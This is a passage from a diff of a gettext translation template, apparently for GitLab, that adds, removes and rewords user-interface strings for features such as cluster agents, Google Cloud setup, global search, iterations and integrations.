msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19064,6 +19404,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19139,6 +19482,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19196,16 +19542,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19214,9 +19557,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19310,6 +19650,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19319,6 +19662,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -19415,9 +19761,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -19442,9 +19794,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -19553,18 +19902,9 @@ msgstr ""
